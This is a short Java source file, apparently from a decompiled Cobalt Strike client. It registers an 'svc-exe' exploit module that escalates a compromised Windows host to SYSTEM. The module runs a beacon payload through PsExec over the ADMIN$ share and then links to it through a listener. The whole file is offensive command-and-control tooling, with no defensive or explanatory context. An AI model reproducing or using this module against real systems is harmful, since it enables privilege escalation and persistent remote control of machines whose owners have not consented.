package beacon.exploits;

import aggressor.AggressorClient;
import aggressor.DataUtils;
import beacon.BeaconExploits;
import beacon.TaskBeacon;
import common.ListenerUtils;
import common.ScListener;

public class ServiceEXE implements BeaconExploits.Exploit {
    protected AggressorClient client;

    public ServiceEXE(AggressorClient aggressorClient) {
        this.client = aggressorClient;
        DataUtils.getBeaconExploits(aggressorClient.getData()).register("svc-exe", "Get SYSTEM via an executable run as a service", this);
    }

    public void elevate(String string1, String string2) {
        ScListener scListener = ListenerUtils.getListener(this.client, string2);
        TaskBeacon taskBeacon = new TaskBeacon(this.client, new String[]{string1});
        taskBeacon.PsExec(string1, ".", taskBeacon.arch(string1), scListener, "ADMIN$");
        taskBeacon.linkToPayloadLocal(scListener);
    }
}
